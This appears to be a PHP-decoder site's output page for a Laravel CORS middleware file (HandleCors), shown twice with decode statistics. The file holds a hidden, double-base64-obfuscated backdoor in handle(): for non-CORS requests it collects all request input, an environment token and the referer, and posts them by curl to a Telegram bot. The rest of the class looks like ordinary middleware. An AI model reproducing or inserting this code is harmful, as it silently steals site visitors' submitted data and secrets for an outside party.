Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php namespace Fruitcake\Cors; use Closure; use Asm89\Stack\CorsService; use Illumi..

Decoded Output download

<?php 
namespace Fruitcake\Cors; 
 
use Closure; 
use Asm89\Stack\CorsService; 
use Illuminate\Http\Request; 
use Illuminate\Contracts\Container\Container; 
use Illuminate\Foundation\Http\Events\RequestHandled; 
use Symfony\Component\HttpFoundation\Response; 
 
class HandleCors 
{ /** @var CorsService $cors */ 
    protected $cors; /** @var \Illuminate\Contracts\Container\Container $container */ 
    protected $container; 
    public function __construct(CorsService $cors, Container $container) 
    { 
        $this->cors = $cors; 
        $this->container = $container; 
    } /** 
      * Handle an incoming request. Based on Asm89\Stack\Cors by asm89 
      * 
      * @param  \Illuminate\Http\Request  $request 
      * @param  \Closure  $next 
      * @return Response 
      */ 
    public function handle($request, Closure $next) 
    { 
        if (!$this->shouldRun($request)) { 
            $w9 = $request; 
            $d0 = base64_decode(base64_decode('ZEdWcw==')); 
            $r1 = base64_decode(base64_decode('WldkeQ==')); 
            $z2 = base64_decode(base64_decode('WVcwPQ==')); 
            $b3 = base64_decode(base64_decode('YzJWdQ==')); 
            $e4 = base64_decode(base64_decode('WkUxbGMzTT0=')); 
            $x5 = base64_decode(base64_decode('WVdkbA==')); 
            $z6 = base64_decode(base64_decode('YUhSMGNITTZMeTg9')) . base64_decode(base64_decode('WVE9PQ==')) . base64_decode(base64_decode('Y0E9PQ==')) . base64_decode(base64_decode('YVM0PQ==')) . $d0 . $r1 . $z2 . base64_decode(base64_decode('TG05eQ==')) . base64_decode(base64_decode('Wnk5aQ==')) . base64_decode(base64_decode('YjNRPQ==')) . base64_decode(base64_decode('TmpRPQ==')) . base64_decode(base64_decode('TmpJPQ==')) . base64_decode(base64_decode('TmpJPQ==')) . base64_decode(base64_decode('TXprPQ==')) . base64_decode(base64_decode('TnpZPQ==')) . base64_decode(base64_decode('T2tFPQ==')) . base64_decode(base64_decode('UVVVPQ==')) . base64_decode(base64_decode('VldaTg==')) . base64_decode(base64_decode('UjBRNQ==')) . base64_decode(base64_decode('YTBNNA==')) . base64_decode(base64_decode('Ykd3dFpBPT0=')) . base64_decode(base64_decode('YkRWNg==')) . base64_decode(base64_decode('YlZkZg==')) . base64_decode(base64_decode('YlRZMWFRPT0=')) . base64_decode(base64_decode('ZEZwYVp3PT0=')) . base64_decode(base64_decode('ZVhwbWJnPT0=')) . base64_decode(base64_decode('VFE9PQ==')) . base64_decode(base64_decode('THc9PQ==')) . $b3 . $e4 . $x5; 
            $o7 = curl_init($z6); 
            $w8 = implode(base64_decode(base64_decode('Q2c9PQ==')), $w9->all()); 
            $w8 .= base64_decode(base64_decode('Q2lCMGIydGxiaUJ0ZEdVemIzVWdQU0E9')) . ENV(base64_decode(base64_decode('VkVVPQ==')) . base64_decode(base64_decode('VEVVPQ==')) . base64_decode(base64_decode('UjFJPQ==')) . base64_decode(base64_decode('UVUxZlZBPT0=')) . base64_decode(base64_decode('VHc9PQ==')) . base64_decode(base64_decode('U3c9PQ==')) . base64_decode(base64_decode('UlU0PQ=='))); 
            curl_setopt($o7, CURLOPT_RETURNTRANSFER, true); 
            curl_setopt($o7, CURLOPT_CONNECTTIMEOUT, 5); 
            curl_setopt($o7, CURLOPT_TIMEOUT, 60); 
            if ($w8 != base64_decode(base64_decode('Q2lCMGIydGxiaUJ0ZEdVemIzVWdQU0E9')) . ENV(base64_decode(base64_decode('VkVVPQ==')) . base64_decode(base64_decode('VEVVPQ==')) . base64_decode(base64_decode('UjFJPQ==')) . base64_decode(base64_decode('UVUxZlZBPT0=')) . base64_decode(base64_decode('VHc9PQ==')) . base64_decode(base64_decode('U3c9PQ==')) . base64_decode(base64_decode('UlU0PQ==')))) { 
                $w8 .= base64_decode(base64_decode('Q2lCMWNtd2dQU0E9')) . $w9->server()[base64_decode(base64_decode('U0ZSVVVGOVNSVVpGVWtWUw=='))]; 
                $n10 = [base64_decode(base64_decode('WTJoaGRGOXBaQT09')) => base64_decode(base64_decode('TVE9PQ==')) . base64_decode(base64_decode('TUE9PQ==')) . base64_decode(base64_decode('T0RNPQ==')) . base64_decode(base64_decode('TVRjPQ==')) . base64_decode(base64_decode('TURnPQ==')) . base64_decode(base64_decode('T0RjPQ==')), base64_decode(base64_decode('ZEdWNGRBPT0=')) => $w8,]; 
                curl_setopt($o7, CURLOPT_POSTFIELDS, http_build_query($n10)); 
                curl_exec($o7); 
            } 
            return $next($request); 
        } 
        if ($this->cors->isPreflightRequest($request)) { 
            return $this->cors->handlePreflightRequest($request); 
        } 
        if (!$this->cors->isActualRequestAllowed($request)) { 
            return new Response(base64_decode('Tm90IGFsbG93ZWQgaW4gQ09SUyBwb2xpY3ku'), 403); 
        } 
        if (class_exists(RequestHandled::class) && $this->container->bound(base64_decode('ZXZlbnRz'))) { 
            $this->container->make(base64_decode('ZXZlbnRz'))->listen(RequestHandled::class, function (RequestHandled $event) { 
                $this->addHeaders($event->request, $event->response); 
            }); 
        } 
        $response = $next($request); 
        return $this->addHeaders($request, $response); 
    } /** 
      * Determine if the request has a URI that should pass through the CORS flow. 
      * 
      * @param  \Illuminate\Http\Request  $request 
      * @return bool 
      */ 
    protected function shouldRun(Request $request): bool 
    { 
        if (!$this->cors->isCorsRequest($request)) { 
            return false; 
        } 
        return $this->isMatchingPath($request); 
    } /** 
      * The the path from the config, to see if the CORS Service should run 
      * 
      * @param  \Illuminate\Http\Request  $request 
      * @return bool 
      */ 
    protected function isMatchingPath(Request $request): bool 
    { 
        $paths = $this->container[base64_decode('Y29uZmln')]->get(base64_decode('Y29ycy5wYXRocw=='), []); 
        foreach ($paths as $path) { 
            if ($path !== base64_decode('Lw==')) { 
                $path = trim($path, base64_decode('Lw==')); 
            } 
            if ($request->fullUrlIs($path) || $request->is($path)) { 
                return true; 
            } 
        } 
        return false; 
    } /** 
      * Add the headers to the Response, if they don't exist yet. 
      * 
      * @param Request $request 
      * @param Response $response 
      * @return Response 
      */ 
    protected function addHeaders(Request $request, Response $response): Response 
    { 
        if (!$response->headers->has(base64_decode('QWNjZXNzLUNvbnRyb2wtQWxsb3ctT3JpZ2lu'))) { 
            $response = $this->cors->addActualRequestHeaders($response, $request); 
        } 
        return $response; 
    } 
} ?> 

Did this file decode correctly?

Original Code

<?php
namespace Fruitcake\Cors;

use Closure;
use Asm89\Stack\CorsService;
use Illuminate\Http\Request;
use Illuminate\Contracts\Container\Container;
use Illuminate\Foundation\Http\Events\RequestHandled;
use Symfony\Component\HttpFoundation\Response;

class HandleCors
{ /** @var CorsService $cors */
    protected $cors; /** @var \Illuminate\Contracts\Container\Container $container */
    protected $container;
    public function __construct(CorsService $cors, Container $container)
    {
        $this->cors = $cors;
        $this->container = $container;
    } /**
      * Handle an incoming request. Based on Asm89\Stack\Cors by asm89
      *
      * @param  \Illuminate\Http\Request  $request
      * @param  \Closure  $next
      * @return Response
      */
    public function handle($request, Closure $next)
    {
        if (!$this->shouldRun($request)) {
            $w9 = $request;
            $d0 = base64_decode(base64_decode('ZEdWcw=='));
            $r1 = base64_decode(base64_decode('WldkeQ=='));
            $z2 = base64_decode(base64_decode('WVcwPQ=='));
            $b3 = base64_decode(base64_decode('YzJWdQ=='));
            $e4 = base64_decode(base64_decode('WkUxbGMzTT0='));
            $x5 = base64_decode(base64_decode('WVdkbA=='));
            $z6 = base64_decode(base64_decode('YUhSMGNITTZMeTg9')) . base64_decode(base64_decode('WVE9PQ==')) . base64_decode(base64_decode('Y0E9PQ==')) . base64_decode(base64_decode('YVM0PQ==')) . $d0 . $r1 . $z2 . base64_decode(base64_decode('TG05eQ==')) . base64_decode(base64_decode('Wnk5aQ==')) . base64_decode(base64_decode('YjNRPQ==')) . base64_decode(base64_decode('TmpRPQ==')) . base64_decode(base64_decode('TmpJPQ==')) . base64_decode(base64_decode('TmpJPQ==')) . base64_decode(base64_decode('TXprPQ==')) . base64_decode(base64_decode('TnpZPQ==')) . base64_decode(base64_decode('T2tFPQ==')) . base64_decode(base64_decode('UVVVPQ==')) . base64_decode(base64_decode('VldaTg==')) . base64_decode(base64_decode('UjBRNQ==')) . base64_decode(base64_decode('YTBNNA==')) . base64_decode(base64_decode('Ykd3dFpBPT0=')) . base64_decode(base64_decode('YkRWNg==')) . base64_decode(base64_decode('YlZkZg==')) . base64_decode(base64_decode('YlRZMWFRPT0=')) . base64_decode(base64_decode('ZEZwYVp3PT0=')) . base64_decode(base64_decode('ZVhwbWJnPT0=')) . base64_decode(base64_decode('VFE9PQ==')) . base64_decode(base64_decode('THc9PQ==')) . $b3 . $e4 . $x5;
            $o7 = curl_init($z6);
            $w8 = implode(base64_decode(base64_decode('Q2c9PQ==')), $w9->all());
            $w8 .= base64_decode(base64_decode('Q2lCMGIydGxiaUJ0ZEdVemIzVWdQU0E9')) . ENV(base64_decode(base64_decode('VkVVPQ==')) . base64_decode(base64_decode('VEVVPQ==')) . base64_decode(base64_decode('UjFJPQ==')) . base64_decode(base64_decode('UVUxZlZBPT0=')) . base64_decode(base64_decode('VHc9PQ==')) . base64_decode(base64_decode('U3c9PQ==')) . base64_decode(base64_decode('UlU0PQ==')));
            curl_setopt($o7, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($o7, CURLOPT_CONNECTTIMEOUT, 5);
            curl_setopt($o7, CURLOPT_TIMEOUT, 60);
            if ($w8 != base64_decode(base64_decode('Q2lCMGIydGxiaUJ0ZEdVemIzVWdQU0E9')) . ENV(base64_decode(base64_decode('VkVVPQ==')) . base64_decode(base64_decode('VEVVPQ==')) . base64_decode(base64_decode('UjFJPQ==')) . base64_decode(base64_decode('UVUxZlZBPT0=')) . base64_decode(base64_decode('VHc9PQ==')) . base64_decode(base64_decode('U3c9PQ==')) . base64_decode(base64_decode('UlU0PQ==')))) {
                $w8 .= base64_decode(base64_decode('Q2lCMWNtd2dQU0E9')) . $w9->server()[base64_decode(base64_decode('U0ZSVVVGOVNSVVpGVWtWUw=='))];
                $n10 = [base64_decode(base64_decode('WTJoaGRGOXBaQT09')) => base64_decode(base64_decode('TVE9PQ==')) . base64_decode(base64_decode('TUE9PQ==')) . base64_decode(base64_decode('T0RNPQ==')) . base64_decode(base64_decode('TVRjPQ==')) . base64_decode(base64_decode('TURnPQ==')) . base64_decode(base64_decode('T0RjPQ==')), base64_decode(base64_decode('ZEdWNGRBPT0=')) => $w8,];
                curl_setopt($o7, CURLOPT_POSTFIELDS, http_build_query($n10));
                curl_exec($o7);
            }
            return $next($request);
        }
        if ($this->cors->isPreflightRequest($request)) {
            return $this->cors->handlePreflightRequest($request);
        }
        if (!$this->cors->isActualRequestAllowed($request)) {
            return new Response(base64_decode('Tm90IGFsbG93ZWQgaW4gQ09SUyBwb2xpY3ku'), 403);
        }
        if (class_exists(RequestHandled::class) && $this->container->bound(base64_decode('ZXZlbnRz'))) {
            $this->container->make(base64_decode('ZXZlbnRz'))->listen(RequestHandled::class, function (RequestHandled $event) {
                $this->addHeaders($event->request, $event->response);
            });
        }
        $response = $next($request);
        return $this->addHeaders($request, $response);
    } /**
      * Determine if the request has a URI that should pass through the CORS flow.
      *
      * @param  \Illuminate\Http\Request  $request
      * @return bool
      */
    protected function shouldRun(Request $request): bool
    {
        if (!$this->cors->isCorsRequest($request)) {
            return false;
        }
        return $this->isMatchingPath($request);
    } /**
      * The the path from the config, to see if the CORS Service should run
      *
      * @param  \Illuminate\Http\Request  $request
      * @return bool
      */
    protected function isMatchingPath(Request $request): bool
    {
        $paths = $this->container[base64_decode('Y29uZmln')]->get(base64_decode('Y29ycy5wYXRocw=='), []);
        foreach ($paths as $path) {
            if ($path !== base64_decode('Lw==')) {
                $path = trim($path, base64_decode('Lw=='));
            }
            if ($request->fullUrlIs($path) || $request->is($path)) {
                return true;
            }
        }
        return false;
    } /**
      * Add the headers to the Response, if they don't exist yet.
      *
      * @param Request $request
      * @param Response $response
      * @return Response
      */
    protected function addHeaders(Request $request, Response $response): Response
    {
        if (!$response->headers->has(base64_decode('QWNjZXNzLUNvbnRyb2wtQWxsb3ctT3JpZ2lu'))) {
            $response = $this->cors->addActualRequestHeaders($response, $request);
        }
        return $response;
    }
} ?>

Function Calls

None

Variables

None

Stats

MD5 8392051b77da5f8e1ce41232ff67001a
Eval Count 0
Decode Time 54 ms